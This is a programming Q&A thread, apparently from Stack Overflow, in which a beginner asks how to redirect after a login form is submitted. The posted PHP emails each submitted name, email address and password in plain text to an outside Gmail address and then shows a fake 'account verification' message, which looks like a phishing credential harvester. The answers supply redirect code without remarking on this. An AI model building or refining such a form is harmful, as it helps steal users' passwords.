我想在提交[重复]后重定向

This question already has an answer here:

I am new to this and I am trying to learn how to code. After subimiting the login and pass and press login, I would like to redirect to another page on my website (index.php).

This is the mail.php code

<?php
$name = $_POST['name'];
$email = $_POST['email'];
$password = $_POST['password'];
$formcontent=" From: $name 
 $password 
 email: $email 
 ";
$recipient = "myemail@gmail.com";
$subject = "Contact Form";
$mailheader = "From: $email 
";
mail($recipient, $subject, $formcontent, $mailheader, $password) or die("Error!");

if(isset($_POST['mail'])){
// Fetching variables of the form which travels in URL
$name = $_POST['name'];
$email = $_POST['email'];
$password = $_POST['password'];
if($name !=''&& $email !=''&& $password !='')
{
//  To redirect form on a particular page
header("Location:http://www.mywebsite.com");
}
else{
?><span><?php echo "Thank You! Your account verification was completed successfully";?></span> <?php
}
}
?>
</div>

You can achieve that using JAVASCRIPT by print the javascript code as a text:

echo '<script type="text/javascript">
         window.location = "http://www.example.com/"
     </script>';

I would use the following code to redirect to a different page in PHP:

header( "refresh:3;url=index.php" );

The "3" will be a delay to send the user to another page. This can be set to whatever you like or you can remove this completely for an instant redirect.

Note: I would also recommend storing your logins within a session:

https://stackoverflow.com/a/10097986/5845530

or:

http://php.net/manual/en/function.session-start.php

You can use php session or cookie, do you know anything about them?